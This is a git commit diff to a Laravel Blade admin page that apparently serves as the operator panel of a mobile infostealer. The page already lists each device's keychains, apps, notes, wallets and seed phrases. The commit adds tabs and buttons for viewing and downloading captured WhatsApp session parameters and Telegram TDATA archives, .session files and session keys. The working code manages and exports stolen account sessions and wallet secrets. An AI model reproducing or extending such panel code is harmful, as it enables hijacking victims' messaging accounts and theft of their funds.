feat: tg/ws/security/
This commit is contained in:
@@ -6,7 +6,9 @@
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
|
||||
<span>设备详情</span>
|
||||
@if (($portal ?? 'admin') === 'admin')
|
||||
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
|
||||
@endif
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
@@ -228,6 +230,8 @@
|
||||
'apps' => '已装 APP',
|
||||
'notes' => '备忘录',
|
||||
'events' => '日志',
|
||||
'ws-sessions' => 'WS 参数',
|
||||
'tg-sessions' => 'TG 参数',
|
||||
]; @endphp
|
||||
@foreach ($tabs as $key => $label)
|
||||
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
|
||||
@@ -316,6 +320,20 @@
|
||||
</form>
|
||||
@endif
|
||||
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
||||
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
||||
<script type="text/html" id="LAY-device-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
||||
@if ($tab === 'ws-sessions')
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
||||
@endif
|
||||
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
||||
@endif
|
||||
</script>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||||
@if (($portal ?? 'admin') === 'admin')
|
||||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||||
@else
|
||||
var destroyUrl = '';
|
||||
@endif
|
||||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||||
var token = @json(csrf_token());
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
@@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
};
|
||||
var yesNo = function (v) {
|
||||
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
||||
};
|
||||
|
||||
form.on('switch(LAY-device-album-storage)', function (obj) {
|
||||
var on = obj.elem.checked ? 1 : 0;
|
||||
@@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
|
||||
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
|
||||
} }
|
||||
]],
|
||||
'ws-sessions': [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
|
||||
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
|
||||
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
||||
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
]],
|
||||
'tg-sessions': [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
||||
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
@if(auth('admin')->user()?->isSuper())
|
||||
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
@else
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
@endif
|
||||
]]
|
||||
};
|
||||
var emptyMap = {
|
||||
@@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
keystores: '暂无钥匙串',
|
||||
apps: '暂无应用',
|
||||
notes: '暂无备忘录',
|
||||
events: '暂无日志'
|
||||
events: '暂无日志',
|
||||
'ws-sessions': '暂无 WS 参数',
|
||||
'tg-sessions': '暂无 TG 参数'
|
||||
};
|
||||
|
||||
table.render({
|
||||
@@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
var url = obj.data.payload_url;
|
||||
if (!url) { layer.msg('缺少参数地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
||||
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
||||
})
|
||||
.then(function (out) {
|
||||
layer.close(load);
|
||||
var body = out.body || {};
|
||||
var json = body.data && body.data.payload_json;
|
||||
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
|
||||
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
||||
var pretty = JSON.stringify(json, null, 2);
|
||||
layer.open({
|
||||
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
||||
area: ['720px', '80%'], content:
|
||||
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
|
||||
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
|
||||
});
|
||||
})
|
||||
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'wsFull') {
|
||||
var url = obj.data.ws_full_url;
|
||||
if (!url) { layer.msg('缺少协议全参地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'tdata') {
|
||||
var url = obj.data.tdata_url;
|
||||
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
||||
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
||||
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
||||
var type = typeMap[obj.event];
|
||||
var baseUrl = obj.data.session_file_url;
|
||||
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
|
||||
var url = baseUrl + '?type=' + type;
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-wallet-search)', function (data) {
|
||||
|
||||
Reference in New Issue
Block a user